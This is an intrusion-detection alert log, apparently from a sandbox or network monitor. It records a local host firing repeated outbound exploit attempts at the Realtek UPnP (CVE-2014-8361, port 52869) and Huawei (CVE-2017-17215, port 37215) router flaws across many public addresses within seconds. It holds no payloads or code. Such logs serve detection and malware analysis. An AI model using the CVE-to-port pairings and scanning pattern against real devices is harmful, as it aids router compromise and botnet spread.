Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.183.167.212

Timestamp:	2024-07-20T23:01:22.230051+0200
SID:	2027339
Source Port:	54884
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 140.186.145.164

Timestamp:	2024-07-20T23:01:21.297208+0200
SID:	2027339
Source Port:	58602
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 83.22.51.58

Timestamp:	2024-07-20T23:01:02.067656+0200
SID:	2835222
Source Port:	42784
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.46.67.74

Timestamp:	2024-07-20T23:01:05.273692+0200
SID:	2027339
Source Port:	35296
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.127.202.249

Timestamp:	2024-07-20T23:01:18.397835+0200
SID:	2835222
Source Port:	33418
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 162.162.162.31

Timestamp:	2024-07-20T23:01:21.452762+0200
SID:	2027339
Source Port:	58878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.114.148.67

Timestamp:	2024-07-20T23:01:00.649623+0200
SID:	2835222
Source Port:	60674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	2024-07-20T23:01:19.348834+0200
SID:	2027339
Source Port:	51954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.165.181.96

Timestamp:	2024-07-20T23:01:21.605490+0200
SID:	2835222
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 71.240.106.220

Timestamp:	2024-07-20T23:01:02.119631+0200
SID:	2835222
Source Port:	49164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.194.243.184

Timestamp:	2024-07-20T23:01:00.658630+0200
SID:	2835222
Source Port:	34962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.20.27.216

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	45012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.110.81

Timestamp:	2024-07-20T23:01:00.662825+0200
SID:	2835222
Source Port:	60584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.10.179.128

Timestamp:	2024-07-20T23:01:21.206624+0200
SID:	2027339
Source Port:	53640
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.5.83.65

Timestamp:	2024-07-20T23:00:59.164966+0200
SID:	2835222
Source Port:	53440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.47.64.65

Timestamp:	2024-07-20T23:00:59.223718+0200
SID:	2835222
Source Port:	44694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.6.34.101

Timestamp:	2024-07-20T23:00:59.213565+0200
SID:	2835222
Source Port:	57408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.234.41.166

Timestamp:	2024-07-20T23:01:00.661486+0200
SID:	2835222
Source Port:	46260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 43.169.90.245

Timestamp:	2024-07-20T23:00:59.206164+0200
SID:	2835222
Source Port:	60616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.132.51.195

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	52842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.28.185.96

Timestamp:	2024-07-20T23:01:00.648489+0200
SID:	2835222
Source Port:	42434
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.229.37

Timestamp:	2024-07-20T23:01:00.648489+0200
SID:	2835222
Source Port:	41068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 206.176.8.137

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	42978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.57.93.26

Timestamp:	2024-07-20T23:01:20.185305+0200
SID:	2835222
Source Port:	55948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 169.107.25.12

Timestamp:	2024-07-20T23:01:21.173231+0200
SID:	2027339
Source Port:	43928
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 9.120.239.102

Timestamp:	2024-07-20T23:01:02.083467+0200
SID:	2835222
Source Port:	36256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.133.25.253

Timestamp:	2024-07-20T23:01:00.657714+0200
SID:	2835222
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.93.68.27

Timestamp:	2024-07-20T23:01:14.013297+0200
SID:	2835222
Source Port:	42414
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 64.62.112.142

Timestamp:	2024-07-20T23:01:21.202996+0200
SID:	2835222
Source Port:	38768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.115.124.156

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	34864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.66.238.102

Timestamp:	2024-07-20T23:01:18.263044+0200
SID:	2835222
Source Port:	41094
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 199.61.238.254

Timestamp:	2024-07-20T23:01:19.321782+0200
SID:	2027339
Source Port:	43644
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 111.252.253.89

Timestamp:	2024-07-20T23:01:25.731945+0200
SID:	2027339
Source Port:	57276
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.77.201

Timestamp:	2024-07-20T23:01:00.648489+0200
SID:	2835222
Source Port:	39114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 191.173.38.241

Timestamp:	2024-07-20T23:01:20.287563+0200
SID:	2027339
Source Port:	55498
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.230.88.31

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	53980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.201.15.112

Timestamp:	2024-07-20T23:01:18.227280+0200
SID:	2835222
Source Port:	59050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.116.25.221

Timestamp:	2024-07-20T23:01:21.230536+0200
SID:	2027339
Source Port:	46338
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 8.108.207.220

Timestamp:	2024-07-20T23:00:59.218459+0200
SID:	2835222
Source Port:	47260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.235.3.106

Timestamp:	2024-07-20T23:01:02.088869+0200
SID:	2835222
Source Port:	42854
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.30.15.103

Timestamp:	2024-07-20T23:01:18.294530+0200
SID:	2835222
Source Port:	47068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 82.63.31.170

Timestamp:	2024-07-20T23:01:19.592314+0200
SID:	2027339
Source Port:	44408
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.173.108.254

Timestamp:	2024-07-20T23:01:21.017864+0200
SID:	2027339
Source Port:	43378
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 23.225.3.54

Timestamp:	2024-07-20T23:01:22.166592+0200
SID:	2027339
Source Port:	57142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 168.229.219.185

Timestamp:	2024-07-20T23:01:22.209396+0200
SID:	2027339
Source Port:	33924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 172.32.160.159

Timestamp:	2024-07-20T23:01:20.354087+0200
SID:	2027339
Source Port:	51150
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.151.222.142

Timestamp:	2024-07-20T23:01:00.648916+0200
SID:	2835222
Source Port:	47392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.203.224.247

Timestamp:	2024-07-20T23:01:00.658298+0200
SID:	2835222
Source Port:	50384
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.181.179.103

Timestamp:	2024-07-20T23:01:22.182200+0200
SID:	2027339
Source Port:	37504
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.236.42.147

Timestamp:	2024-07-20T23:01:21.011580+0200
SID:	2027339
Source Port:	48472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.40.176.32

Timestamp:	2024-07-20T23:01:21.620060+0200
SID:	2027339
Source Port:	43584
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.154.58

Timestamp:	2024-07-20T23:01:02.098963+0200
SID:	2835222
Source Port:	60660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.75.200.235

Timestamp:	2024-07-20T23:01:21.782825+0200
SID:	2027339
Source Port:	37678
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.187.229.164

Timestamp:	2024-07-20T23:01:19.529672+0200
SID:	2027339
Source Port:	41332
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 107.136.23.140

Timestamp:	2024-07-20T23:00:59.180699+0200
SID:	2835222
Source Port:	37038
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.189.109

Timestamp:	2024-07-20T23:01:18.373821+0200
SID:	2835222
Source Port:	49974
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.155.27.254

Timestamp:	2024-07-20T23:01:18.397150+0200
SID:	2835222
Source Port:	52232
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.249.133.131

Timestamp:	2024-07-20T23:01:18.514803+0200
SID:	2835222
Source Port:	57796
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.154.77.145

Timestamp:	2024-07-20T23:01:21.487846+0200
SID:	2027339
Source Port:	43862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	2024-07-20T23:01:09.021221+0200
SID:	2027339
Source Port:	59966
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 100.7.167.160

Timestamp:	2024-07-20T23:01:09.032669+0200
SID:	2027339
Source Port:	54312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.6.221.99

Timestamp:	2024-07-20T23:01:18.422111+0200
SID:	2835222
Source Port:	55506
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.12.37.150

Timestamp:	2024-07-20T23:00:59.171003+0200
SID:	2835222
Source Port:	52632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	2024-07-20T23:01:19.307476+0200
SID:	2027339
Source Port:	42464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.117.206.184

Timestamp:	2024-07-20T23:01:19.499297+0200
SID:	2027339
Source Port:	43978
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 91.110.161.158

Timestamp:	2024-07-20T23:01:00.654988+0200
SID:	2835222
Source Port:	34066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.173.160.14

Timestamp:	2024-07-20T23:01:18.405069+0200
SID:	2835222
Source Port:	36746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.0.98.90

Timestamp:	2024-07-20T23:01:20.996287+0200
SID:	2027339
Source Port:	33494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.150.128.0

Timestamp:	2024-07-20T23:01:21.279589+0200
SID:	2027339
Source Port:	44986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.187.52.139

Timestamp:	2024-07-20T23:01:21.240867+0200
SID:	2027339
Source Port:	36012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 86.86.67.253

Timestamp:	2024-07-20T23:01:21.233858+0200
SID:	2027339
Source Port:	60488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.123.9.56

Timestamp:	2024-07-20T23:00:59.213565+0200
SID:	2835222
Source Port:	47064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.56.72.194

Timestamp:	2024-07-20T23:01:22.267601+0200
SID:	2027339
Source Port:	42544
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 195.67.134.63

Timestamp:	2024-07-20T23:01:19.372914+0200
SID:	2027339
Source Port:	60772
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 186.94.179.5

Timestamp:	2024-07-20T23:01:09.058270+0200
SID:	2027339
Source Port:	54394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.90.210.240

Timestamp:	2024-07-20T23:01:21.841200+0200
SID:	2835222
Source Port:	42912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.69.126.229

Timestamp:	2024-07-20T23:01:20.357609+0200
SID:	2027339
Source Port:	35646
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.218.184.30

Timestamp:	2024-07-20T23:00:59.163619+0200
SID:	2835222
Source Port:	33028
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.102.141.171

Timestamp:	2024-07-20T23:01:21.268418+0200
SID:	2027339
Source Port:	53670
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.23.172.87

Timestamp:	2024-07-20T23:01:19.851927+0200
SID:	2027339
Source Port:	47262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 113.230.74.224

Timestamp:	2024-07-20T23:01:21.892196+0200
SID:	2835222
Source Port:	46508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.121.143.8

Timestamp:	2024-07-20T23:00:59.201033+0200
SID:	2835222
Source Port:	34208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 198.69.140.160

Timestamp:	2024-07-20T23:00:59.227554+0200
SID:	2835222
Source Port:	43088
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.181.42.248

Timestamp:	2024-07-20T23:01:21.461356+0200
SID:	2027339
Source Port:	52432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 9.91.73.111

Timestamp:	2024-07-20T23:01:19.372044+0200
SID:	2027339
Source Port:	35746
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.118.19.128

Timestamp:	2024-07-20T23:01:00.661808+0200
SID:	2835222
Source Port:	36536
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.189.184.171

Timestamp:	2024-07-20T23:01:18.435833+0200
SID:	2835222
Source Port:	57502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.77.47.158

Timestamp:	2024-07-20T23:01:21.234188+0200
SID:	2835222
Source Port:	54070
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.124.34.30

Timestamp:	2024-07-20T23:01:00.652845+0200
SID:	2835222
Source Port:	57096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.214.240.131

Timestamp:	2024-07-20T23:01:18.375075+0200
SID:	2835222
Source Port:	52450
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 143.254.34.7

Timestamp:	2024-07-20T23:01:20.800833+0200
SID:	2027339
Source Port:	51696
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.77.213.179

Timestamp:	2024-07-20T23:00:59.203030+0200
SID:	2835222
Source Port:	34126
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.200.30.164

Timestamp:	2024-07-20T23:01:21.313692+0200
SID:	2027339
Source Port:	41386
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.19.255.66

Timestamp:	2024-07-20T23:01:18.514803+0200
SID:	2835222
Source Port:	34808
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.136.207.183

Timestamp:	2024-07-20T23:01:22.185191+0200
SID:	2027339
Source Port:	55894
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.251.43.137

Timestamp:	2024-07-20T23:01:04.989471+0200
SID:	2027339
Source Port:	59800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 60.63.234.192

